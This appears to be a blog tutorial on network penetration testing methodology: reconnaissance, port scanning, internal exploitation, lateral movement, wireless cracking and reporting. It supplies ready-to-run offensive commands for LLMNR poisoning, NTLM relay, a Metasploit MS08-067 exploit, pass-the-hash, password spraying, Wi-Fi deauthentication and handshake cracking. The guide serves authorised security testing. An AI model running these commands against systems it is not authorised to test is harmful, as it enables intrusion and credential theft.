June 2026 · 14 min read · Network Security

Network Penetration Testing: A Complete Methodology Guide

Network penetration testing and web application penetration testing are frequently confused — they share tools and practitioners, but differ substantially in scope, technique, and what they're designed to find. This guide covers network penetration testing methodology: external perimeter assessment, internal network compromise, and lateral movement across infrastructure.

Understanding network testing is also important context for web application testers, because web applications don't exist in isolation — they run on network infrastructure that has its own attack surface.

Network vs. Web Application Penetration Testing

External Network Penetration Testing

An external network penetration test simulates an attacker with no access to your internal network — starting only from the internet. The objective is to identify what an attacker could compromise from outside your perimeter.

Phase 1: Reconnaissance

Passive OSINT precedes active scanning. The goal is to map the target's internet-facing footprint before sending a single packet.

# DNS enumeration
# Subdomain discovery
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass_results.txt
dnsx -l subdomains.txt -a -aaaa -cname -o dns_resolved.txt

# Certificate transparency logs
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | sort -u

# WHOIS and network range enumeration
whois target.com
# ASN lookup to find all IP ranges
whois -h whois.radb.net -- '-i origin AS12345'

# Shodan / Censys for exposed services
shodan search "org:'Target Company' port:22,3389,8080,8443"

Phase 2: Port Scanning and Service Discovery

# Full port scan on discovered IPs
nmap -p- --min-rate 5000 -T4 -oN full_ports.txt TARGET_IP_RANGE

# Service and version detection on open ports
nmap -sV -sC -p OPEN_PORTS -oA service_scan TARGET_IP_RANGE

# UDP scan for commonly exposed UDP services
nmap -sU -p 53,67,68,69,123,161,162,514 TARGET_IP_RANGE

# Output: build an inventory of
# - Web servers (80, 443, 8080, 8443, and non-standard ports)
# - SSH servers (22, 2222)
# - RDP (3389)
# - Database servers (3306, 5432, 1433, 27017) — should never be internet-facing
# - Mail servers (25, 110, 143, 465, 587, 993, 995)
# - VPN endpoints (1194, 1723, 500, 4500)
# - Management interfaces (8443, 9090, 10000)

Phase 3: Vulnerability Identification

# Nessus or OpenVAS for automated vulnerability detection
# (Run after port scan to target only open services)

# Nuclei for web-layer exposure on discovered web servers
nuclei -l web_targets.txt -t /root/nuclei-templates/ -severity critical,high -o nuclei_findings.txt

# Specific checks for commonly critical exposures:

# Check for exposed admin interfaces
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,aspx

# SSL/TLS configuration
testssl.sh --fast --full target.com:443

# Check for default credentials on exposed services
medusa -h TARGET_IP -u admin -P /usr/share/wordlists/common_passwords.txt -M http

# SMB enumeration (should never be internet-facing)
nmap --script smb-vuln* -p 445 TARGET_IP
crackmapexec smb TARGET_IP --shares

Critical External Exposure Findings

The findings that consistently appear in external assessments and have the highest impact:

• RDP exposed to internet (3389) — frequently brute-forced; BlueKeep (CVE-2019-0708) if unpatched
• SMB exposed to internet (445) — EternalBlue (MS17-010) remains unpatched on many systems
• Database ports accessible externally — MySQL/MSSQL/PostgreSQL/MongoDB directly on internet
• Default credentials on network devices — routers, firewalls, and switches with factory defaults
• Unauthenticated admin interfaces — Grafana, Kibana, Jenkins, GitLab, Consul without auth
• VPN with outdated firmware — Pulse Secure, Fortinet, Citrix have had critical unauthenticated RCE CVEs
• Exposed .git directories — source code and credentials in version control metadata
• Subdomain takeover opportunities — dangling DNS records pointing to deprovisioned services

Internal Network Penetration Testing

Internal network testing simulates a threat actor who has already breached the perimeter — whether through phishing, a compromised external system, or physical access. The objective is to determine how far an attacker can reach from a foothold in the corporate network.

Phase 1: Network Discovery

# Host discovery — find all live systems on the network
nmap -sn 192.168.0.0/16 -oG live_hosts.txt

# Passive discovery with network sniffing (where permitted)
netdiscover -r 192.168.1.0/24
# Listen for ARP traffic to map hosts without active scanning

# SNMP enumeration for network device inventory
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt -i live_hosts.txt

# NetBIOS/LLMNR enumeration (Windows environments)
nbtscan 192.168.1.0/24
responder -I eth0 -A  # Passive analysis mode — no poisoning

Phase 2: Service Enumeration and Vulnerability Scanning

# Focused port scan on discovered internal hosts
nmap -p- --min-rate 2000 -T3 192.168.1.0/24 -oA internal_full

# SMB enumeration (critical for Windows environments)
crackmapexec smb 192.168.1.0/24 --shares --users --groups
enum4linux-ng -A 192.168.1.10

# LDAP enumeration (if domain-joined)
ldapsearch -x -H ldap://192.168.1.10 -b "DC=domain,DC=local" "(objectClass=user)"

# Check for unpatched vulnerabilities
# MS17-010 (EternalBlue) — still widespread internally
nmap --script smb-vuln-ms17-010 -p 445 192.168.1.0/24

# Log4Shell on internal systems
nuclei -l internal_web.txt -t cves/2021/CVE-2021-44228.yaml

Phase 3: Exploitation and Credential Harvesting

# Responder — LLMNR/NBT-NS poisoning for credential capture
# (Captures Net-NTLMv2 hashes from Windows name resolution)
responder -I eth0 -wF

# Relay captured hashes without cracking (when SMB signing disabled)
ntlmrelayx.py -tf targets.txt -smb2support -l /tmp/loot

# Check for MS08-067 (if legacy XP/2003 systems exist)
msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOSTS TARGET; run"

# Metasploit for vulnerability exploitation
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

Phase 4: Lateral Movement

Once a foothold is established, the goal is to move laterally toward high-value targets — domain controllers, file servers, finance systems, or sensitive data stores.

# Pass-the-Hash lateral movement
crackmapexec smb 192.168.1.0/24 -u administrator -H NTLM_HASH --local-auth -x "whoami"

# WMI remote execution (less noisy than PsExec)
python3 wmiexec.py DOMAIN/user:password@192.168.1.20

# RDP with captured credentials
xfreerdp /v:192.168.1.20 /u:administrator /p:Password123

# Check for password reuse across systems
crackmapexec smb 192.168.1.0/24 -u captured_users.txt -p captured_passwords.txt

# Service account abuse — find accounts running services on multiple hosts
# These often have the same password and local admin everywhere

Common High-Impact Internal Network Findings

Wireless Network Testing

Wireless testing is often included in internal assessments. Key areas:

# Wireless discovery and analysis
airmon-ng start wlan0
airodump-ng wlan0mon

# WPA/WPA2 handshake capture
airodump-ng -c CHANNEL --bssid TARGET_BSSID -w capture wlan0mon

# Deauthentication to force reconnect (captures handshake)
aireplay-ng -0 10 -a TARGET_BSSID wlan0mon

# Crack captured handshake
hashcat -m 22000 capture.hccapx /usr/share/wordlists/rockyou.txt

# PMKID attack (no deauth required)
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=3
hcxpcapngtool -o hashes.hc22000 capture.pcapng
hashcat -m 22000 hashes.hc22000 wordlist.txt

Check for:

• WPA2 networks using weak/guessable PSKs
• WPA3 not deployed despite being supported by infrastructure
• Enterprise networks (802.1X) with certificate validation disabled on clients
• Rogue AP opportunities — employees connecting to evil twin networks
• Guest network isolation — can guest network reach internal resources?

Reporting Network Penetration Tests

Network pentest reports differ from web app reports in structure and emphasis. The most effective format:

1. Executive summary — maximum one page. Attack narrative: "Starting from internet access with no credentials, an attacker could achieve X within Y hours." Avoid technical jargon entirely.
2. Attack path diagram — visual representation of the compromise chain. More useful than a vulnerability list for communicating risk to non-technical stakeholders.
3. Findings by severity — critical and high findings first, with clear remediation steps. Include proof of concept output (redacted where sensitive) and specific affected hosts.
4. Remediation prioritisation — not all findings are equal. A network segmentation issue is worth fixing before patching a single medium CVE.
5. Appendices — full technical details, all scanned hosts, complete tool output.

Network Testing vs. Web Application Testing: When You Need Both

Most mature security programmes conduct both — they assess different risk surfaces that overlap at the edge (the web server sits on a network, and network access can enable web app attacks that wouldn't be possible from the internet).

For organisations new to security testing, the prioritisation question is usually:

• Internet-facing web applications — if you have customer-facing apps, web app testing first. This is where attackers start, and where breaches are most commonly initiated.
• Internal compliance (PCI DSS, ISO 27001, SOC 2) — typically require both external and internal network testing in addition to web app testing.
• Post-incident response — comprehensive network assessment to understand how far an attacker may have moved after initial compromise.